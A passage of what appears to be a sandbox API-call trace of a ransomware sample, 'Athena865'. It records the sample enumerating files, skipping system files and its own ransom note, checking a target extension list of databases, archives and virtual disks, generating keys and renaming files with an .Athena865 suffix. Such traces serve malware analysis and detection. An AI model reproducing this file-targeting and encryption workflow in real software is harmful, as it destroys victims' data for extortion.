dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.238] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.238] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.239] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc900, lpName=0x0) returned 0x17c [0042.241] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc900) returned 0x100000 [0042.255] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.256] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.256] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.256] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0042.257] CloseHandle (hObject=0x17c) returned 1 [0042.257] CloseHandle (hObject=0x154) returned 1 [0042.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.259] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4fe560, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc4fe560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0042.259] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0042.259] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7f46f7c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xd7f46f7c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xd7f6d0dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2=".") returned 1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="..") returned 1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="windows") returned -1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="bootmgr") returned 1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="temp") returned -1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="pagefile.sys") returned -1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="boot") returned 1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="ids.txt") returned 1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="ntuser.dat") returned -1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="perflogs") returned -1 [0042.259] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="MSBuild") returned -1 [0042.259] lstrlenW (lpString="ie8props.propdesc") returned 17 [0042.259] lstrcpyW (in: lpString1=0x241e89a, lpString2="ie8props.propdesc" | out: lpString1="ie8props.propdesc") returned="ie8props.propdesc" [0042.260] lstrlenW (lpString="ie8props.propdesc") returned 17 [0042.260] lstrlenW (lpString="Athena865") returned 9 [0042.260] lstrcmpiW (lpString1=".propdesc", lpString2="Athena865") returned -1 [0042.260] lstrlenW (lpString=".dll") returned 4 [0042.260] lstrcmpiW (lpString1="ie8props.propdesc", lpString2=".dll") returned 1 [0042.260] lstrlenW (lpString=".lnk") returned 4 [0042.260] lstrcmpiW (lpString1="ie8props.propdesc", lpString2=".lnk") returned 1 [0042.260] lstrlenW (lpString=".ini") returned 4 [0042.260] lstrcmpiW (lpString1="ie8props.propdesc", lpString2=".ini") returned 1 [0042.260] lstrlenW (lpString=".sys") returned 4 [0042.260] lstrcmpiW (lpString1="ie8props.propdesc", lpString2=".sys") returned 1 [0042.260] lstrlenW (lpString="ie8props.propdesc") returned 17 [0042.260] lstrlenW (lpString="bak") returned 3 [0042.260] lstrcmpiW (lpString1="esc", lpString2="bak") returned 1 [0042.260] lstrlenW (lpString="ba_") returned 3 [0042.260] lstrcmpiW (lpString1="esc", lpString2="ba_") returned 1 [0042.260] lstrlenW (lpString="dbb") returned 3 [0042.260] lstrcmpiW (lpString1="esc", lpString2="dbb") returned 1 [0042.260] lstrlenW (lpString="vmdk") returned 4 [0042.260] lstrcmpiW (lpString1="desc", lpString2="vmdk") returned -1 [0042.260] lstrlenW (lpString="rar") returned 3 [0042.260] lstrcmpiW (lpString1="esc", lpString2="rar") returned -1 [0042.260] lstrlenW (lpString="zip") returned 3 [0042.260] lstrcmpiW (lpString1="esc", lpString2="zip") returned -1 [0042.260] lstrlenW (lpString="tgz") returned 3 [0042.260] lstrcmpiW (lpString1="esc", lpString2="tgz") returned -1 [0042.260] lstrlenW (lpString="vbox") returned 4 [0042.260] lstrcmpiW (lpString1="desc", lpString2="vbox") returned -1 [0042.260] lstrlenW (lpString="vdi") returned 3 [0042.260] lstrcmpiW (lpString1="esc", lpString2="vdi") returned -1 [0042.260] lstrlenW (lpString="vhd") returned 3 [0042.260] lstrcmpiW (lpString1="esc", lpString2="vhd") returned -1 [0042.260] lstrlenW (lpString="vhdx") returned 4 [0042.260] lstrcmpiW (lpString1="desc", lpString2="vhdx") returned -1 [0042.260] lstrlenW (lpString="avhd") returned 4 [0042.260] lstrcmpiW (lpString1="desc", lpString2="avhd") returned 1 [0042.260] lstrlenW (lpString="db") returned 2 [0042.261] lstrcmpiW (lpString1="sc", lpString2="db") returned 1 [0042.261] lstrlenW (lpString="db2") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="db2") returned 1 [0042.261] lstrlenW (lpString="db3") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="db3") returned 1 [0042.261] lstrlenW (lpString="dbf") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="dbf") returned 1 [0042.261] lstrlenW (lpString="mdf") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="mdf") returned -1 [0042.261] lstrlenW (lpString="mdb") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="mdb") returned -1 [0042.261] lstrlenW (lpString="sql") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="sql") returned -1 [0042.261] lstrlenW (lpString="sqlite") returned 6 [0042.261] lstrcmpiW (lpString1="opdesc", lpString2="sqlite") returned -1 [0042.261] lstrlenW (lpString="sqlite3") returned 7 [0042.261] lstrcmpiW (lpString1="ropdesc", lpString2="sqlite3") returned -1 [0042.261] lstrlenW (lpString="sqlitedb") returned 8 [0042.261] lstrcmpiW (lpString1="propdesc", lpString2="sqlitedb") returned -1 [0042.261] lstrlenW (lpString="xml") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="xml") returned -1 [0042.261] lstrlenW (lpString="$er") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="$er") returned 1 [0042.261] lstrlenW (lpString="4dd") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="4dd") returned 1 [0042.261] lstrlenW (lpString="4dl") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="4dl") returned 1 [0042.261] lstrlenW (lpString="^^^") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="^^^") returned 1 [0042.261] lstrlenW (lpString="abs") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="abs") returned 1 [0042.261] lstrlenW (lpString="abx") returned 3 [0042.261] lstrcmpiW (lpString1="esc", lpString2="abx") returned 1 [0042.261] lstrlenW (lpString="accdb") returned 5 [0042.261] lstrcmpiW (lpString1="pdesc", lpString2="accdb") returned 1 [0042.261] lstrlenW (lpString="accdc") returned 5 [0042.261] lstrcmpiW (lpString1="pdesc", lpString2="accdc") returned 1 [0042.261] lstrlenW (lpString="accde") returned 5 [0042.261] lstrcmpiW (lpString1="pdesc", lpString2="accde") returned 1 [0042.262] lstrlenW (lpString="accdr") returned 5 [0042.262] lstrcmpiW (lpString1="pdesc", lpString2="accdr") returned 1 [0042.262] lstrlenW (lpString="accdt") returned 5 [0042.262] lstrcmpiW (lpString1="pdesc", lpString2="accdt") returned 1 [0042.262] lstrlenW (lpString="accdw") returned 5 [0042.262] lstrcmpiW (lpString1="pdesc", lpString2="accdw") returned 1 [0042.262] lstrlenW (lpString="accft") returned 5 [0042.262] lstrcmpiW (lpString1="pdesc", lpString2="accft") returned 1 [0042.262] lstrlenW (lpString="adb") returned 3 [0042.262] lstrcmpiW (lpString1="esc", lpString2="adb") returned 1 [0042.262] lstrlenW (lpString="adb") returned 3 [0042.262] lstrcmpiW (lpString1="esc", lpString2="adb") returned 1 [0042.262] lstrlenW (lpString="ade") returned 3 [0042.262] lstrcmpiW (lpString1="esc", lpString2="ade") returned 1 [0042.262] lstrlenW (lpString="adf") returned 3 [0042.262] lstrcmpiW (lpString1="esc", lpString2="adf") returned 1 [0042.262] lstrlenW (lpString="adn") returned 3 [0042.262] lstrcmpiW (lpString1="esc", lpString2="adn") returned 1 [0042.262] lstrlenW (lpString="adp") returned 3 [0042.262] lstrcmpiW (lpString1="esc", lpString2="adp") returned 1 [0042.262] lstrlenW (lpString="alf") returned 3 [0042.262] lstrcmpiW (lpString1="esc", lpString2="alf") returned 1 [0042.262] lstrlenW (lpString="ask") returned 3 [0042.262] lstrcmpiW (lpString1="esc", lpString2="ask") returned 1 [0042.262] lstrlenW (lpString="btr") returned 3 [0042.262] lstrcmpiW (lpString1="esc", lpString2="btr") returned 1 [0042.265] lstrlenW (lpString="cat") returned 3 [0042.265] lstrcmpiW (lpString1="esc", lpString2="cat") returned 1 [0042.265] lstrlenW (lpString="cdb") returned 3 [0042.265] lstrcmpiW (lpString1="esc", lpString2="cdb") returned 1 [0042.265] lstrlenW (lpString="ckp") returned 3 [0042.265] lstrcmpiW (lpString1="esc", lpString2="ckp") returned 1 [0042.265] lstrlenW (lpString="cma") returned 3 [0042.265] lstrcmpiW (lpString1="esc", lpString2="cma") returned 1 [0042.265] lstrlenW (lpString="cpd") returned 3 [0042.265] lstrcmpiW (lpString1="esc", lpString2="cpd") returned 1 [0042.265] lstrlenW (lpString="dacpac") returned 6 [0042.265] lstrcmpiW (lpString1="opdesc", lpString2="dacpac") returned 1 [0042.265] lstrlenW (lpString="dad") returned 3 [0042.265] lstrcmpiW (lpString1="esc", lpString2="dad") returned 1 [0042.265] lstrlenW (lpString="dadiagrams") returned 10 [0042.265] lstrcmpiW (lpString1="s.propdesc", lpString2="dadiagrams") returned 1 [0042.265] lstrlenW (lpString="daschema") returned 8 [0042.265] lstrcmpiW (lpString1="propdesc", lpString2="daschema") returned 1 [0042.265] lstrlenW (lpString="db-journal") returned 10 [0042.265] lstrcmpiW (lpString1="s.propdesc", lpString2="db-journal") returned 1 [0042.265] lstrlenW (lpString="db-shm") returned 6 [0042.265] lstrcmpiW (lpString1="opdesc", lpString2="db-shm") returned 1 [0042.265] lstrlenW (lpString="db-wal") returned 6 [0042.265] lstrcmpiW (lpString1="opdesc", lpString2="db-wal") returned 1 [0042.265] lstrlenW (lpString="dbc") returned 3 [0042.265] lstrcmpiW (lpString1="esc", lpString2="dbc") returned 1 [0042.265] lstrlenW (lpString="dbs") returned 3 [0042.265] lstrcmpiW (lpString1="esc", lpString2="dbs") returned 1 [0042.265] lstrlenW (lpString="dbt") returned 3 [0042.265] lstrcmpiW (lpString1="esc", lpString2="dbt") returned 1 [0042.265] lstrlenW (lpString="dbv") returned 3 [0042.265] lstrcmpiW (lpString1="esc", lpString2="dbv") returned 1 [0042.265] lstrlenW (lpString="dbx") returned 3 [0042.265] lstrcmpiW (lpString1="esc", lpString2="dbx") returned 1 [0042.266] lstrlenW (lpString="dcb") returned 3 [0042.266] lstrcmpiW (lpString1="esc", lpString2="dcb") returned 1 [0042.266] lstrcmpiW (lpString1="esc", lpString2="dct") returned 1 [0042.266] lstrcmpiW (lpString1="esc", lpString2="dcx") returned 1 [0042.266] lstrcmpiW (lpString1="esc", lpString2="ddl") returned 1 [0042.266] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc.Athena865") returned 68 [0042.266] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files (x86)\\internet explorer\\ie8props.propdesc"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\ie8props.propdesc.athena865"), dwFlags=0x1) returned 1 [0042.267] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\ie8props.propdesc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.267] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2649) returned 1 [0042.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.267] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.268] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.268] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.268] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd60, lpName=0x0) returned 0x17c [0042.269] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd60) returned 0x100000 [0042.277] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.278] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.278] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.279] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0042.279] CloseHandle (hObject=0x17c) returned 1 [0042.279] CloseHandle (hObject=0x154) returned 1 [0042.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.281] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22549a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22549a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb22a0c69, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2=".") returned 1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="..") returned 1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="windows") returned -1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="bootmgr") returned 1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="temp") returned -1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="pagefile.sys") returned -1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="boot") returned 1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="ids.txt") returned 1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="ntuser.dat") returned -1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="perflogs") returned -1 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2="MSBuild") returned -1 [0042.281] lstrlenW (lpString="iecompat.dll") returned 12 [0042.281] lstrcpyW (in: lpString1=0x241e89a, lpString2="iecompat.dll" | out: lpString1="iecompat.dll") returned="iecompat.dll" [0042.281] lstrlenW (lpString="iecompat.dll") returned 12 [0042.281] lstrlenW (lpString="Athena865") returned 9 [0042.281] lstrcmpiW (lpString1="ompat.dll", lpString2="Athena865") returned 1 [0042.281] lstrlenW (lpString=".dll") returned 4 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2=".dll") returned 1 [0042.281] lstrlenW (lpString=".lnk") returned 4 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2=".lnk") returned 1 [0042.281] lstrlenW (lpString=".ini") returned 4 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2=".ini") returned 1 [0042.281] lstrlenW (lpString=".sys") returned 4 [0042.281] lstrcmpiW (lpString1="iecompat.dll", lpString2=".sys") returned 1 [0042.281] lstrlenW (lpString="iecompat.dll") returned 12 [0042.281] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\iecompat.dll.Athena865") returned 63 [0042.281] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files (x86)\\internet explorer\\iecompat.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\iecompat.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\iecompat.dll.athena865"), dwFlags=0x1) returned 1 [0042.282] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\iecompat.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\iecompat.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.282] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7680) returned 1 [0042.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.283] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.283] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.283] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.283] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2100, lpName=0x0) returned 0x17c [0042.285] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2100) returned 0x100000 [0042.288] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.289] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.289] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.290] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0042.290] CloseHandle (hObject=0x17c) returned 1 [0042.290] CloseHandle (hObject=0x154) returned 1 [0042.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.292] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22ecf2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22ecf2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23391ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2=".") returned 1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="..") returned 1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="windows") returned -1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="bootmgr") returned 1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="temp") returned -1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="pagefile.sys") returned -1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="boot") returned 1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="ids.txt") returned 1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="ntuser.dat") returned -1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="perflogs") returned -1 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2="MSBuild") returned -1 [0042.292] lstrlenW (lpString="iedvtool.dll") returned 12 [0042.292] lstrcpyW (in: lpString1=0x241e89a, lpString2="iedvtool.dll" | out: lpString1="iedvtool.dll") returned="iedvtool.dll" [0042.292] lstrlenW (lpString="iedvtool.dll") returned 12 [0042.292] lstrlenW (lpString="Athena865") returned 9 [0042.292] lstrcmpiW (lpString1="vtool.dll", lpString2="Athena865") returned 1 [0042.292] lstrlenW (lpString=".dll") returned 4 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2=".dll") returned 1 [0042.292] lstrlenW (lpString=".lnk") returned 4 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2=".lnk") returned 1 [0042.292] lstrlenW (lpString=".ini") returned 4 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2=".ini") returned 1 [0042.292] lstrlenW (lpString=".sys") returned 4 [0042.292] lstrcmpiW (lpString1="iedvtool.dll", lpString2=".sys") returned 1 [0042.293] lstrlenW (lpString="iedvtool.dll") returned 12 [0042.293] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll.Athena865") returned 63 [0042.293] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files (x86)\\internet explorer\\iedvtool.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\iedvtool.dll.athena865"), dwFlags=0x1) returned 1 [0042.294] CreateFileW (lpFileName="C:\\Program Files 